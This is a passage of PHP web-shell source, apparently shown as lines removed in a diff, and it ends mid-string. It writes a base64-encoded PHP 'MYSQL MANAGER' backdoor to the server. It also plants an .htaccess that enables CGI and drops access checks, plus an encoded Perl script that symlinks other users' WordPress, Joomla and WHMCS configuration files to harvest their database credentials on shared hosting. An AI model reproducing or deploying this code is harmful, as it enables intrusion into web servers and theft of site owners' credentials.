nVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
- $write = fwrite ($f2 ,base64_decode($sml_db));
- if ($write)
- {@chmod('image/database.php',0755);}
- echo "</br></br><center><b>GO TO : <a href='image/database.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'pl'))
- {
- if (!is_dir('IMAGES')){
- $mk = @mkdir('IMAGES',0777);
- $c = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n AddHandler cgi-script .pl \n Require None \n Satisfy Any";
- $f =@fopen ('IMAGES/.htaccess','w');
- @fwrite($f , $c);
- $f2 =@fopen ('IMAGES/dancok.pl','w');
- $sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+WytdIENPTkZJRyBQRVJMIFsrXTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQogZm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJzUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJzcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzEwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicxMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicxNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzE4LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicyMC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJzIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLicyMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLicyMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJzI0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nMjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLicyNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLicyNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLicyOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nMjkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLiczMC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS9jbGllbnRhcmVhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvcHJvZHVjdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM4LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL3RyaWFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0Ni50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL21hbmFnZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvbXlhY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2FjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic1MC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGFyZWEvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic1Mi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic1My50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic1NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NsaWVudGFyZWEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic1NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic1Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3Byb2R1Y3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic1OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzU5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGFyZWEvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzYwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGFyZWEvbWVtYmVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzY0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGFyZWEvdHJpYWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic2NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic2Ni50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzY3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4